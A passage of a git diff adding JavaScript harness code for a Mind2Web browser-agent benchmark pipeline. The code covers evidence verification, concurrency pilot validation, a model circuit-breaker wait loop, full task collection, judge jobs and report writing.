&& session.queue_timing_evidence?.can_explain_missing_export))) { + const requirement = 'Installed local gate requires all four tested levels, at least one full physical pass, and verified correctness/cleanup'; + throw Object.assign(new Error(requirement + (summary.error ? ': ' + summary.error : '')), + { code: summary.error_code ?? 'LOCAL_GATE_FAILED' }); + } + return { ok: true, kind: 'installed_browser_manual_local_gate', tested_levels: tested, passed_levels: passed, highest_passing_level: Math.max(...passed), cleanup_ok: true, + fingerprints, summary: summaryEvidence, receipt_path: receiptPath, synthetic: true, no_model_calls: true }; +} + +export async function verifyLocalGateEvidence(summary, { gateDir, serverCommand }) { + const manifest = await json(path.join(gateDir, 'manifest.json')); + if (manifest.command_sha256 !== hash(JSON.stringify(serverCommand)) || !same(manifest.sources, summary.sources) + || !summary.sources?.length) throw new Error('Saved local gate command or source inventory differs'); + for (const source of summary.sources) await assertDescriptor(source); + for (const session of summary.sessions) { + if (!within(gateDir, path.resolve(session.raw_dir ?? '.')) || !session.marker) throw new Error('Saved local gate evidence paths are invalid'); + if (session.queue_expiries && (!session.level_timing_failed || !same(await queueTimingEvidence(session.raw_dir), session.queue_timing_evidence))) throw new Error('Saved local queue timing evidence changed'); + if (!session.artifacts) { + const proof = await queueTimingEvidence(session.raw_dir); + if (!session.level_timing_failed || !proof.can_explain_missing_export || !same(proof, session.queue_timing_evidence)) throw new Error('Saved failed local level lacks queue-only timing evidence'); + for (const frame of proof.frames) { + const url = new URL(frame.source_url); + if (url.pathname !== '/fixture' || ![session.marker, `${session.marker}-popup`].includes(url.searchParams.get('marker'))) throw new Error('Partial local timing evidence belongs to a foreign fixture'); + } + continue; + } + if (!within(gateDir, path.resolve(session.export_dir ?? '.')) || !session.artifacts.frames?.length) throw new Error('Saved local gate export paths or frame inventory are invalid'); + const origin = new URL(session.artifacts.frames[0].source_url).origin; + const actual = await inspectArtifacts({ rawDir: session.raw_dir, exportDir: session.export_dir, + expectedOrigin: origin, allowedMarkers: [session.marker, `${session.marker}-popup`] }); + if (!same(actual, session.artifacts)) throw new Error('Saved local gate physical PNG, emission or export evidence changed'); + } + return { ok: true }; +} + +export async function verifyPilotExport({ directory, row, attempt, task, profilePath = PROFILE_PATH }) { + const exported = path.join(directory, 'trajectories', row.task_id); + const checked = await validateTrajectoryDir(exported); + if (!checked.ok || row.raw_dir !== attempt.raw_dir || row.outcome !== attempt.final.outcome) throw new Error('Accepted pilot selected trajectory is invalid or bound to a different raw outcome'); + const temporary = await mkdtemp(path.join(tmpdir(), 'om2w-pilot-evidence-')); + try { + const rendered = await writeV2({ task, rawDir: attempt.raw_dir, outDir: temporary, allowlistPath: profilePath }); + if (await trajectoryFingerprint(rendered.dir) !== await trajectoryFingerprint(exported)) throw new Error('Accepted pilot physical export differs from its selected raw observation evidence'); + } finally { await rm(temporary, { recursive: true, force: true }); } +} + +export async function validateAcceptedPilot(receipt, { outputDir, localReceipt, fingerprints, allTasks, source, serverCommand, extensionDir, + publicRelease = false, publicPins = null, profilePath = PROFILE_PATH, verifyExport = verifyPilotExport }) { + const receiptPath = path.join(outputDir, 'accepted-gate.json'); + const candidate = receipt?.selected_concurrency; + const comparisonPath = path.join(outputDir, `concurrency-${candidate}`, 'comparison.json'); + const selected = await fixedCanary(allTasks); + if (receipt?.ok !== true || ![1, 2, 5, 10].includes(candidate) || !localReceipt.passed_levels?.includes(candidate) || !same(receipt.fingerprints, fingerprints) + || !(receipt.artifact_forecast_bytes > 0) || path.resolve(receipt.receipt_path ?? '.') !== receiptPath + || path.resolve(receipt.comparison ?? '.') !== comparisonPath || !same(receipt.local_receipt, localReceipt) + || receipt.fixed_sample_sha256 !== selected.spec.task_ids_sha256 + || receipt.budget?.timeout_seconds !== 1200 || receipt.budget?.max_actions !== 120) { + throw new Error('Pilot acceptance lacks the matching source, fixed sample, local gate, budget, concurrency or disk forecast'); + } + const comparison = await json(comparisonPath); + const phases = [['serial-a', selected.serialA, 1], ['concurrent', selected.tasks, candidate], ['serial-b', selected.serialB, 1]]; + const partition = { ...selected.spec, serial_a_ids: selected.serialA.map(task => task.task_id), + serial_b_ids: selected.serialB.map(task => task.task_id), fingerprints }; + if (!same(await json(path.join(outputDir, 'pilot-selection.json')), partition)) throw new Error('Accepted pilot partition differs from its frozen sample'); + let previousEnd = -Infinity; + for (const [name, tasks, concurrency] of phases) { + const directory = path.join(outputDir, `concurrency-${candidate}`, name); + const manifest = await json(path.join(directory, 'manifest.json')), config = manifest.config; + const ids = tasks.map(task => task.task_id); + if (!config || config.profile !== profileFor(publicRelease).id || config.model !== MODEL || config.effort !== EFFORT + || config.timeout_seconds !== 1200 || config.max_actions !== 120 || config.execution_concurrency !== concurrency || config.pilot_queue_timing !== true + || !same(config.task_ids, ids) || !same(config.fingerprints, fingerprints) + || (source && !same(config.source, source)) || (serverCommand && !same(config.server_command, serverCommand)) + || (extensionDir && config.extension_dir !== extensionDir) + || publicRelease && (config.public_release !== true || !same(config.public_pins, publicPins)) + || config.gate_receipt?.kind !== 'pilot' || config.gate_receipt.local_receipt !== localReceipt.receipt_path + || config.gate_receipt.fixed_sample_sha256 !== selected.spec.task_ids_sha256 + || manifest.collection_complete !== true || !same(manifest.outcomes.map(row => row.task_id).sort(), [...ids].sort())) { + throw new Error('Accepted pilot phase config/task partition/concurrency differs from the actual gated condition'); + } + let firstStart = Infinity, lastEnd = -Infinity; + for (const attempt of manifest.attempts) { + if (!ids.includes(attempt.task_id) || await publicAttemptBlocker(attempt, { publicRelease }) || attempt.final?.queue_expiries + || attempt.raw_dir !== path.join(directory, 'raw', attempt.task_id, `attempt-${attempt.index}`) + || !same(await json(path.join(attempt.raw_dir, 'final.json')), attempt.final)) throw new Error('Accepted pilot raw-final or cleanup evidence differs'); + const start = Date.parse(attempt.started_at), end = Date.parse(attempt.ended_at); + if (!Number.isFinite(start) || !Number.isFinite(end) || end < start) throw new Error('Accepted pilot attempt timing is invalid'); + firstStart = Math.min(firstStart, start); lastEnd = Math.max(lastEnd, end); + } + if (firstStart < previousEnd || !Number.isFinite(lastEnd)) throw new Error('Accepted pilot phases did not execute in the frozen counterbalanced order'); + previousEnd = lastEnd; + for (const row of manifest.outcomes) { + const attempt = manifest.attempts.find(attempt => attempt.task_id === row.task_id && attempt.index === row.selected_attempt); + if (!attempt) throw new Error('Accepted pilot lacks a selected attempt'); + const disposition = publicRelease ? await verifyPublicDisposition(attempt.raw_dir, attempt.final) : null; + if (disposition) { + if (row.exported !== false || row.outcome !== attempt.final.outcome || row.raw_dir !== attempt.raw_dir) throw new Error('Public native failure selection differs'); + if (await optionalJson(path.join(directory, 'trajectories', row.task_id, 'result.json'))) throw new Error('Missing public frame was replaced by a prefix export'); + } else { + if (row.exported !== true || row.validation?.ok !== true) throw new Error('Accepted pilot lacks a selected valid export for every phase task'); + await verifyExport({ directory, row, attempt, task: tasks.find(task => task.task_id === row.task_id), profilePath }); + } + } + } + const actual = { serial: await operationMetrics([path.join(outputDir, `concurrency-${candidate}`, 'serial-a'), path.join(outputDir, `concurrency-${candidate}`, 'serial-b')], { publicRelease }), + concurrent: await operationMetrics([path.join(outputDir, `concurrency-${candidate}`, 'concurrent')], { publicRelease }) }; + if (!same(actual.serial, comparison.serial) || !same(actual.concurrent, comparison.concurrent)) throw new Error('Accepted pilot saved metrics differ from the actual raw phase observations'); + const decision = concurrencyDecision({ ...actual, publicRelease }); + const expected = selected.tasks.map(task => task.task_id).sort(); + for (const phase of ['serial', 'concurrent']) { + const ids = comparison[phase]?.per_task?.filter(row => row.selected === true).map(row => row.task_id).sort(); + if (!same(ids, expected)) throw new Error('Accepted pilot comparison does not contain the same ten selected tasks in both conditions'); + } + if (comparison.concurrency !== candidate || !decision.ok || !same(decision, comparison.decision) || !same(decision, receipt.decision)) { + throw new Error('Accepted pilot receipt differs from the saved operational comparison'); + } + return descriptor(comparisonPath); +} + +export async function waitForModel({ state, signal, shouldStop = () => false, waitResources = true, + status = () => circuit('status', {}, { state }), sleep = waitForResource, checkpoint = async () => {}, log = () => {} } = {}) { + while (!signal?.aborted && !shouldStop()) { + const value = await status(); + if (typeof value.ready !== 'boolean' || !['closed', 'open', 'half_open', 'blocked'].includes(value.state)) throw new Error('Invalid durable model circuit status'); + const saved = { state: value.state, generation: value.generation, ready: value.ready, + not_before_epoch: value.not_before_epoch ?? null, reason_kind: value.reason?.kind ?? null, + checked_at: now(), readiness_probe: 'the next actual pending task; no extra model calls' }; + await checkpoint(saved); + if (value.ready) return { ready: true, circuit: saved }; + log({ state: 'waiting_for_model', circuit: saved }); + if (!waitResources || value.state === 'blocked') return { ready: false, blocked: value.state === 'blocked', circuit: saved }; + const future = typeof value.not_before_epoch === 'number' ? value.not_before_epoch * 1000 - Date.now() : null; + const until = value.state === 'open' && future > 0 ? future : 60_000; + await sleep(Math.min(60_000, Math.max(1000, until)), signal); + } + return { ready: false, interrupted: true }; +} + +export async function runRepairBenchmark({ extensionDir, outputDir, fullRunId, serverCommand, + resume = false, waitResources = true, circuitState = DEFAULT_CIRCUIT, signal, + shouldStop = () => false, log = value => console.log(JSON.stringify(value)), publicRelease = false, publicPins = null, dependencies = {} } = {}) { + if (!extensionDir || !outputDir || !fullRunId || !/^[A-Za-z0-9_-]+$/.test(fullRunId)) throw new Error('--extension-dir, --output and a safe --full-run-id are required'); + const contextRoot = await realpath(dependencies.contextRoot ?? path.join(REPO_ROOT, '.context')); + outputDir = path.resolve(outputDir); + // Resolve the existing parent so symlinked parents cannot escape the context root. + const parent = await realpath(path.dirname(outputDir)); + outputDir = path.join(parent, path.basename(outputDir)); + if (!within(contextRoot, outputDir)) throw new Error('Pipeline --output must be a fresh directory inside the workspace .context root'); + const outputStat = await lstat(outputDir).catch(error => { if (error.code === 'ENOENT') return null; throw error; }); + if (outputStat?.isSymbolicLink()) throw new Error('Pipeline output cannot be a symlink'); + extensionDir = await realpath(extensionDir); + if (!(await stat(path.join(extensionDir, 'manifest.json'))).isFile()) throw new Error('A staged extension manifest is required'); + serverCommand = commandArray(serverCommand ?? [process.execPath, path.join(homedir(), '.fsb/native-host/runtime/package/build/index.js'), 'stdio']); + circuitState = path.resolve(circuitState); + const resultsRoot = path.resolve(dependencies.resultsRoot ?? RESULTS_DIR); + const fullRunDir = path.join(resultsRoot, fullRunId); + const hadOutput = (await entries(outputDir)).length > 0; + if (hadOutput && !resume) throw new Error('Pipeline output already exists; use --resume or a fresh output directory'); + if (!hadOutput && (await entries(fullRunDir)).length) throw new Error('The full run ID already contains data; choose a fresh full-run-id'); + await mkdir(outputDir, { recursive: true }); + const release = await acquireRunLock(outputDir); + let state; + const statePath = path.join(outputDir, 'pipeline.json'); + const checkpoint = async patch => { + state = { ...state, ...patch, updated_at: now() }; + await atomicJson(statePath, state); + log({ phase: state.phase, state: state.state, full_run_dir: fullRunDir, + ...(state.terminal === undefined ? {} : { terminal: state.terminal }), + ...(state.detail ? { detail_recorded: true } : {}), ...(state.error_code ? { error_code: state.error_code } : {}) }); + }; + const profile = profileFor(publicRelease), profilePath = path.join(BENCH_ROOT, 'config', `${profile.id}.json`); + if (publicRelease && (!publicPins || !dependencies.captureSources || !dependencies.localGate || !dependencies.verifyLocalEvidence)) throw new Error('Public release requires explicit provenance and public gate implementations'); + const capture = () => (dependencies.captureSources ?? capturePipelineSources)({ serverCommand, extensionDir, publicRelease, publicPins }); + const controlCircuit = () => (dependencies.circuit ?? ((action, data) => circuit(action, data, { state: circuitState })))('status', {}); + let frozen; + const ensureFrozen = async () => { + if (!same(await capture(), frozen.sources)) throw new Error('Pipeline frozen source/runtime/extension bytes changed; start a fresh gated run'); + if (hash(await readFile(frozen.dataset.path)) !== frozen.dataset.sha256) throw new Error('Frozen dataset bytes changed'); + }; + const resourceWait = async phase => { + await checkpoint({ phase, state: 'waiting_for_model', detail: null }); + const availability = await waitForModel({ state: circuitState, signal, shouldStop, waitResources, status: controlCircuit, + sleep: dependencies.sleep ?? waitForResource, log, + checkpoint: async circuitStatus => checkpoint({ circuit: circuitStatus }) }); + if (!availability.ready) { + await checkpoint({ phase, state: availability.interrupted ? 'paused_drained' : 'waiting_for_model', + detail: availability.blocked ? 'Authentication/configuration block requires recorded operator recovery' : null }); + return false; + } + await ensureFrozen(); + await checkpoint({ phase, state: 'running' }); + return true; + }; + const interrupt = async phase => { + if (!signal?.aborted && !shouldStop()) return false; + await checkpoint({ phase, state: 'paused_drained', detail: 'Stop requested; no new task dispatch' }); + return true; + }; + try { + const dataset = await (dependencies.loadTasks ?? loadTasks)(); + if (dataset.tasks.length !== 300 || new Set(dataset.tasks.map(task => task.task_id)).size !== 300 + || dataset.source.sha256 !== DATASET_SHA256 || hash(await readFile(dataset.source.path)) !== DATASET_SHA256) { + throw new Error('The pinned 300-task dataset is required'); + } + const toolCount = toolsForProfile(profile).length; + if (toolCount !== (publicRelease ? 44 : 46)) throw new Error('Browser manual profile tool count differs from its frozen definition'); + const sources = await capture(); + const config = { version: 2, profile: profile.id, model: MODEL, effort: EFFORT, browser: 'existing', shared_cookies: true, + ...(publicRelease ? { public_release: true, public_pins: publicPins } : {}), + timeout_seconds: 1200, max_actions: 120, tool_count: toolCount, judge_protocol: 'scorefield-v2', judge_jobs: judgeMatrix().map(job => job.id), + gate_levels: [1, 2, 5, 10], pilot_candidates: [10, 5, 2, 1], full_run_id: fullRunId, full_run_dir: fullRunDir, + image_contract: 'claude-mcp-image-v1', + output_dir: outputDir, extension_dir: extensionDir, server_command: serverCommand, circuit_state: circuitState, + dataset: { path: path.resolve(dataset.source.path), sha256: dataset.source.sha256, revision: dataset.source.revision ?? null }, + task_ids: dataset.tasks.map(task => task.task_id), sources, + historical_run_dir: path.resolve(dependencies.historicalRunDir ?? DEFAULT_HISTORICAL), + historical_review_dir: path.join(outputDir, 'blinded-human-review'), fresh_review_dir: path.join(outputDir, 'fresh-blinded-human-review'), + fresh_review_seed: 'fsb-fresh-manual-v2-review-20261018', human_calibrated: false }; + const configPath = path.join(outputDir, 'frozen-config.json'); + const prior = await optionalJson(configPath); + if (prior && !same(prior, config)) throw new Error('Pipeline resume configuration or source fingerprints differ from frozen bytes'); + if (hadOutput && !prior) throw new Error('Existing pipeline output lacks its frozen configuration'); + frozen = prior ?? config; + if (!prior) await writeFile(configPath, JSON.stringify(frozen, null, 2) + '\n', { flag: 'wx' }); + const configEvidence = await descriptor(configPath); + const previous = await optionalJson(statePath); + if (previous && previous.frozen_config?.sha256 !== configEvidence.sha256) throw new Error('Pipeline checkpoint belongs to a different frozen configuration'); + state = previous ?? { version: 1, created_at: now(), phase: 'historical_review', state: 'configured', frozen_config: configEvidence, full_run_dir: fullRunDir }; + if (state.state === 'paused_health') throw new Error('A prior pipeline health fault requires repair and a new gated output'); + await assertResumeSafe([path.join(outputDir, 'pilot'), fullRunDir], { publicRelease }); + if (state.state === 'complete') { + for (const evidence of [state.cli_image_contract, state.final_audit, state.final_report, state.final_manifest, state.final_judge_jobs]) await assertDescriptor(evidence); + const verified = await (dependencies.verifyCompleted ?? verifyFinalizedManualReport)(fullRunDir, await json(path.join(fullRunDir, 'manifest.json'))); + if (verified.ok !== true) throw new Error('Completed pipeline publication provenance did not revalidate'); + return { ...state, already_complete: true }; + } + await checkpoint({ state: 'running' }); + if (await interrupt('historical_review')) return state; + const excluded = dependencies.excludedTaskIds ?? [ + ...(await json(DIAGNOSTIC_SAMPLE)).selected.map(row => row.task_id), '9829f3087ab1f9c8eba6b6dd2b831d25_112325', + ]; + const bundle = await (dependencies.bundle ?? writeBlindedReviewBundle)({ historicalRunDir: frozen.historical_run_dir, + outputDir: frozen.historical_review_dir, datasetPath: frozen.dataset.path, excludedTaskIds: excluded }); + if (bundle.count !== 60 || bundle.human_calibrated !== false) throw new Error('The distinct blinded60 saved-evidence bundle was not prepared'); + const reviewBundles = { historical: { output_dir: frozen.historical_review_dir, + selection_sha256: bundle.selection_sha256, provenance_sha256: bundle.provenance_sha256 }, + fresh: { output_dir: frozen.fresh_review_dir, seed: frozen.fresh_review_seed } }; + await checkpoint({ historical_review: bundle }); + await ensureFrozen(); + if (await interrupt('image_contract')) return state; + const imageContractDir = path.join(outputDir, 'claude-image-contract'); + const imageContractPath = path.join(imageContractDir, 'receipt.json'); + if (state.cli_image_contract) { + if (path.resolve(state.cli_image_contract.path) !== imageContractPath) throw new Error('Saved Claude image contract points outside this run'); + await assertDescriptor(state.cli_image_contract); + if ((await json(imageContractPath)).ok !== true) throw new Error('Saved Claude image contract did not pass'); + } else { + if ((await entries(imageContractDir)).length) throw new Error('Incomplete Claude image contract evidence requires inspection'); + await checkpoint({ phase: 'image_contract', state: 'running' }); + const imageContract = await (dependencies.imageContract ?? verifyClaudeImageContract)({ outputDir: imageContractDir, + command: frozen.sources.toolchain?.claude?.path ?? CLAUDE_CLI, model: frozen.model, effort: frozen.effort, signal, publicRelease, publicPins }); + if (imageContract.ok !== true || (await json(imageContractPath)).ok !== true) throw new Error('Claude MCP image delivery contract failed'); + await checkpoint({ cli_image_contract: await descriptor(imageContractPath) }); + } + await ensureFrozen(); + if (await interrupt('local_gate')) return state; + const localPath = path.join(outputDir, 'local-gate-receipt.json'); + let local = await optionalJson(localPath); + if (local) { + await assertDescriptor(local.summary); + const verified = localGateReceipt(await json(local.summary.path), { summaryEvidence: local.summary, + fingerprints: frozen.sources.fingerprints, receiptPath: localPath }); + if (!same(verified, local)) throw new Error('Saved local gate receipt differs from source-bound summary'); + } else { + await checkpoint({ phase: 'local_gate', state: 'running' }); + const gateDir = path.join(outputDir, 'local-gate'); + if ((await entries(gateDir)).length) throw new Error('Incomplete local gate evidence requires inspection; no silent fixture replay'); + const summary = await (dependencies.localGate ?? manualLiveGate)({ liveAuthorized: true, outputDir: gateDir, + command: serverCommand, profilePath, publicPins, concurrency: [1, 2, 5, 10] }); + local = localGateReceipt(summary, { summaryEvidence: await descriptor(path.join(gateDir, 'summary.json')), + fingerprints: frozen.sources.fingerprints, receiptPath: localPath }); + await writeFile(localPath, JSON.stringify(local, null, 2) + '\n', { flag: 'wx' }); + } + const localEvidence = await (dependencies.verifyLocalEvidence ?? verifyLocalGateEvidence)(await json(local.summary.path), + { gateDir: path.join(outputDir, 'local-gate'), serverCommand, profilePath, publicPins }); + if (localEvidence.ok !== true) throw new Error('Saved local gate evidence did not revalidate'); + await checkpoint({ local_gate: await descriptor(localPath) }); + await ensureFrozen(); + if (await interrupt('paired_pilot')) return state; + const acceptedPath = path.join(outputDir, 'pilot/accepted-gate.json'); + let accepted = await optionalJson(acceptedPath); + if (state.accepted_gate) { + if (path.resolve(state.accepted_gate.path) !== acceptedPath) throw new Error('Saved accepted gate points outside this pilot'); + await assertDescriptor(state.accepted_gate); + } + while (!accepted?.ok && !signal?.aborted && !shouldStop()) { + if (!await resourceWait('paired_pilot')) return state; + accepted = await (dependencies.pilot ?? pairedPilot)({ outputDir: path.join(outputDir, 'pilot'), allTasks: dataset.tasks, + source: dataset.source, serverCommand, extensionDir, localReceipt: local, circuitState, signal, shouldStop, resume: true, publicRelease, publicPins, + dependencies: { beforePublicDispatch: dependencies.beforePublicDispatch } }); + if (accepted.ok) break; + if (accepted.state === 'waiting_for_model') { + await checkpoint({ phase: 'paired_pilot', state: accepted.state, detail: accepted.detail ?? null }); + if (!waitResources) return state; + continue; + } + await checkpoint({ phase: 'paired_pilot', state: accepted.state === 'paused_drained' ? 'paused_drained' : 'paused_health', detail: accepted.detail ?? 'Pilot did not pass', pilot_block: accepted }); + return state; + } + if (await interrupt('paired_pilot')) return state; + const comparisonEvidence = await validateAcceptedPilot(accepted, { outputDir: path.join(outputDir, 'pilot'), + localReceipt: local, fingerprints: frozen.sources.fingerprints, allTasks: dataset.tasks, source: dataset.source, serverCommand, extensionDir, + publicRelease, publicPins, profilePath, verifyExport: dependencies.verifyPilotExport }); + if (state.accepted_comparison && !same(state.accepted_comparison, comparisonEvidence)) throw new Error('Accepted pilot comparison bytes changed'); + const acceptedEvidence = await descriptor(accepted.receipt_path); + await checkpoint({ accepted_gate: acceptedEvidence, accepted_comparison: comparisonEvidence, execution_concurrency: accepted.selected_concurrency }); + await ensureFrozen(); + const reviewDirectory = path.join(outputDir, 'pilot/descriptive-checkpoints'); + const reviewBundle = await (dependencies.reviewBundle ?? writePilotCheckpointBundle)({ pilotOutputDir: path.join(outputDir, 'pilot'), + outputDir: reviewDirectory, allTasks: dataset.tasks, gateReceipt: accepted, publicRelease }); + const verifyReview = () => (dependencies.verifyReview ?? verifyPilotReviewComplete)(reviewDirectory); + const review = await verifyReview(); + if (!review.complete) { + await checkpoint({ phase: 'pilot_review', state: 'paused_review', pilot_review_bundle: reviewBundle, + detail: 'Twenty blinded native checkpoint images are ready for automated descriptive inspection; record completion notes, then resume' }); + return state; + } + const reviewReference = { path: review.receipt.path, sha256: review.receipt.sha256, + public_manifest_sha256: review.public_manifest.sha256, notes_sha256: review.notes.sha256, + descriptive_summary: review.descriptive_summary, human_calibrated: false, affects_operational_gate: false }; + if (state.descriptive_pilot_review && !same(state.descriptive_pilot_review, reviewReference)) throw new Error('Saved descriptive pilot review completion changed'); + await checkpoint({ pilot_review_bundle: reviewBundle, descriptive_pilot_review: reviewReference }); + const ensureReview = async () => { + const current = await verifyReview(); + if (!current.complete || current.receipt.sha256 !== reviewReference.sha256) throw new Error('Descriptive pilot completion evidence changed'); + }; + await mkdir(fullRunDir, { recursive: true }); + const collectionGate = { path: acceptedEvidence.path, sha256: acceptedEvidence.sha256, + descriptive_pilot_review: reviewReference, review_bundles: reviewBundles }; + const collectionConfig = { version: 3, profile: profile.id, model: frozen.model, effort: frozen.effort, browser: 'existing', shared_cookies: true, + ...(publicRelease ? { public_release: true, public_pins: publicPins, profile_tool_count: toolCount, profile_path: profilePath } : {}), + timeout_seconds: 1200, max_actions: 120, execution_concurrency: accepted.selected_concurrency, judge_protocol: 'scorefield-v2', + circuit_state: circuitState, server_command: serverCommand, extension_dir: extensionDir, + task_ids: frozen.task_ids, source: dataset.source, gate_receipt: collectionGate, fingerprints: frozen.sources.fingerprints }; + let manifest = await optionalJson(path.join(fullRunDir, 'manifest.json')); + if (manifest?.collection_complete && (!same(manifest.config, collectionConfig) || manifest.state !== 'collected' + || !same(manifest.outcomes.map(row => row.task_id).sort(), [...frozen.task_ids].sort()))) { + throw new Error('Completed collection differs from the exact frozen300-task configuration'); + } + let diskReady = manifest?.collection_complete === true; + while (!diskReady && !signal?.aborted && !shouldStop()) { + try { + const disk = await (dependencies.disk ?? assertDiskBudget)(fullRunDir, accepted.artifact_forecast_bytes); + await atomicJson(path.join(fullRunDir, 'disk-gate.json'), disk); + diskReady = true; + await checkpoint({ phase: 'disk_gate', state: 'running', disk_block: null, detail: null }); + break; + } catch (error) { + if (error.code !== 'DISK_BUDGET') throw error; + await checkpoint({ phase: 'disk_gate', state: 'waiting_for_disk', + disk_block: { code: error.code, error: error.message, checked_at: now() }, detail: 'Pilot forecast plus the unchanged reserve requires more free disk space' }); + if (!waitResources) return state; + await (dependencies.sleep ?? waitForResource)(60_000, signal); + } + } + if (!diskReady) { await interrupt('disk_gate'); return state; } + while (!manifest?.collection_complete && !signal?.aborted && !shouldStop()) { + if (!await resourceWait('full_collection')) return state; + await assertResumeSafe([path.join(outputDir, 'pilot'), fullRunDir], { publicRelease }); + const result = await (dependencies.collect ?? collectManual)({ runDir: fullRunDir, tasks: dataset.tasks, source: dataset.source, + serverCommand, extensionDir, concurrency: accepted.selected_concurrency, model: frozen.model, effort: frozen.effort, + circuitState, gateReceipt: collectionGate, resume: true, signal, shouldStop, publicRelease, publicPins, + beforePublicDispatch: dependencies.beforePublicDispatch }); + manifest = result.manifest; + await checkpoint({ phase: 'full_collection', state: manifest.state, terminal: manifest.outcomes.length, detail: manifest.last_block ?? null }); + if (manifest.collection_complete) break; + if (manifest.state === 'waiting_for_model') { + if (!waitResources) return state; + continue; + } + if (manifest.state === 'paused_drained' || signal?.aborted || shouldStop()) return state; + await checkpoint({ state: 'paused_health' }); return state; + } + if (await interrupt('full_collection')) return state; + if (!manifest?.collection_complete || manifest.outcomes.length !== 300) throw new Error('Full collection requires300 terminal tasks before judging'); + await ensureFrozen(); + await ensureReview(); + await assertResumeSafe([fullRunDir], { publicRelease }); + await checkpoint({ phase: 'fresh_review_bundle', state: 'running' }); + const freshReview = await (dependencies.bundle ?? writeBlindedReviewBundle)({ historicalRunDir: fullRunDir, + outputDir: frozen.fresh_review_dir, datasetPath: frozen.dataset.path, excludedTaskIds: excluded, seed: frozen.fresh_review_seed, publicRelease }); + if (freshReview.count !== 60 || freshReview.human_calibrated !== false) throw new Error('The fresh blinded60 saved-evidence bundle was not prepared'); + await checkpoint({ fresh_review: freshReview }); + if (!await resourceWait('judging')) return state; + const jobs = await (dependencies.judges ?? runJudgeJobs)({ runDir: fullRunDir, manifest, passes: 3, wait: waitResources, + signal, shouldStop, circuitState, model: frozen.model, effort: frozen.effort }); + if (!jobs.complete) { + await checkpoint({ phase: 'judging', state: signal?.aborted || shouldStop() ? 'paused_drained' : 'waiting_for_model', detail: `Six frozen ${JUDGE_ENGINE} judge jobs are not yet complete` }); + return state; + } + if (!same(jobs.jobs.map(job => job.id), frozen.judge_jobs) || jobs.jobs.some(job => job.status !== 'complete')) throw new Error('Judging did not complete the exact frozen six-job matrix'); + await ensureFrozen(); + await ensureReview(); + await checkpoint({ phase: 'report', state: 'running' }); + const report = await (dependencies.report ?? writeManualReport)(fullRunDir, manifest, { finalize: true }); + if (report.finalized !== true || report.expected !== 300 || report.jobs_complete !== 6) throw new Error('Final report did not verify300 tasks and six completed jobs'); + const finalManifest = await descriptor(path.join(fullRunDir, 'manifest.json')); + const finalAudit = await json(path.join(fullRunDir, 'FINAL-AUDIT.json')); + if (finalAudit.ok !== true || finalAudit.manifest_sha256 !== finalManifest.sha256) throw new Error('Final report receipt differs from the current collection manifest'); + await checkpoint({ phase: 'complete', state: 'complete', detail: null, + final_audit: await descriptor(path.join(fullRunDir, 'FINAL-AUDIT.json')), final_report: await descriptor(path.join(fullRunDir, 'REPORT.md')), + final_manifest: finalManifest, final_judge_jobs: await descriptor(path.join(fullRunDir, 'judge-jobs.json')) }); + return state; + } catch (error) { + if (state) await checkpoint({ state: 'paused_health', detail: error.message, error_code: error.code ?? error.name }); + throw error; + } finally { await release(); } +} + +export async function runRepairCLI(argv = process.argv.slice(2)) { + const { values } = parseArgs({ args: argv, options: { + 'extension-dir': { type: 'string' }, output: { type: 'string' }, 'full-run-id': { type: 'string' }, + 'fsb-server-cmd': { type: 'string' }, 'circuit-state': { type: 'string', default: DEFAULT_CIRCUIT }, + resume: { type: 'boolean', default: false }, 'wait-resources': { type: 'boolean', default: true }, + 'no-wait-resources': { type: 'boolean', default: false }, + } }); + const controller = new AbortController(); + let drain = false; + const stop = () => controller.abort(); + const stopNew = () => { drain = true; }; + process.once('SIGINT', stop); process.once('SIGTERM', stop); process.once('SIGUSR2', stopNew); + try { + const state = await runRepairBenchmark({ extensionDir: values['extension-dir'], outputDir: values.output, + fullRunId: values['full-run-id'], serverCommand: values['fsb-server-cmd'] ? JSON.parse(values['fsb-server-cmd']) : undefined, + circuitState: values['circuit-state'], resume: values.resume, waitResources: values['wait-resources'] && !values['no-wait-resources'], + signal: controller.signal, shouldStop: () => drain }); + if (state.state === 'paused_health') process.exitCode = 1; + else if (state.state !== 'complete') process.exitCode = 75; + return state; + } finally { process.removeListener('SIGINT', stop); process.removeListener('SIGTERM', stop); process.removeListener('SIGUSR2', stopNew); } +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + runRepairCLI().catch(error => { console.error(JSON.stringify({ state: 'stopped', error: error.message, code: error.code ?? error.name })); process.exitCode = 1; }); +} diff --git a/mind2web/harness/report.mjs b/mind2web/harness/report.mjs new file mode 100644 index 000000000..100253418 --- /dev/null +++ b/mind2web/harness/report.mjs @@ -0,0 +1,77 @@ +import { readFile, writeFile, readdir, stat } from 'node:fs/promises'; +import path from 'node:path'; + +function csvCell(value) { return '"' + String(value ?? '').replaceAll('"', '""') + '"'; } +export async function writeReport(runDir, manifest) { + const outcomes = new Map(manifest.outcomes.map(row => [row.task_id, row])); + const rows = manifest.task_ids.map(task_id => ({ task_id, outcome: 'pending', exported: false, ...outcomes.get(task_id), + prior_infrastructure_attempts: manifest.provenance?.attempts?.filter(attempt => attempt.task_id === task_id).length ?? 0 })); + const judges = []; + const predictions = new Map(); + const judgeRoot = path.join(runDir, 'judge'); + try { + for (const entry of await readdir(judgeRoot, { withFileTypes: true })) { + if (!entry.isDirectory()) continue; + try { + const summary = JSON.parse(await readFile(path.join(judgeRoot, entry.name, 'summary.json'), 'utf8')); + judges.push({ job: entry.name, ...summary }); + for (const line of (await readFile(path.join(judgeRoot, entry.name, 'results.jsonl'), 'utf8')).split('\n').filter(Boolean)) { + const row = JSON.parse(line); + if (!predictions.has(row.task_id)) predictions.set(row.task_id, {}); + predictions.get(row.task_id)[entry.name] = row.error ? 'error' : row.predicted_label; + } + } catch {} + } + } catch {} + const disagreements = [...predictions].filter(([, values]) => new Set(Object.values(values)).size > 1).map(([task_id, verdicts]) => ({ task_id, verdicts })); + await writeFile(path.join(runDir, 'judge-disagreements.json'), JSON.stringify(disagreements, null, 2) + '\n'); + for (const row of rows) row.judge_verdicts = predictions.get(row.task_id) ?? {}; + await writeFile(path.join(runDir, 'per-task.json'), JSON.stringify(rows, null, 2) + '\n'); + const fields = ['task_id', 'outcome', 'exported', 'selected_attempt', 'prior_infrastructure_attempts', 'action_count', 'screenshot_retries', 'duration_ms', 'error']; + const judgeColumns = judges.map(judge => judge.job).sort(); + await writeFile(path.join(runDir, 'per-task.csv'), [...fields, ...judgeColumns].map(csvCell).join(',') + '\n' + rows.map(row => [ + 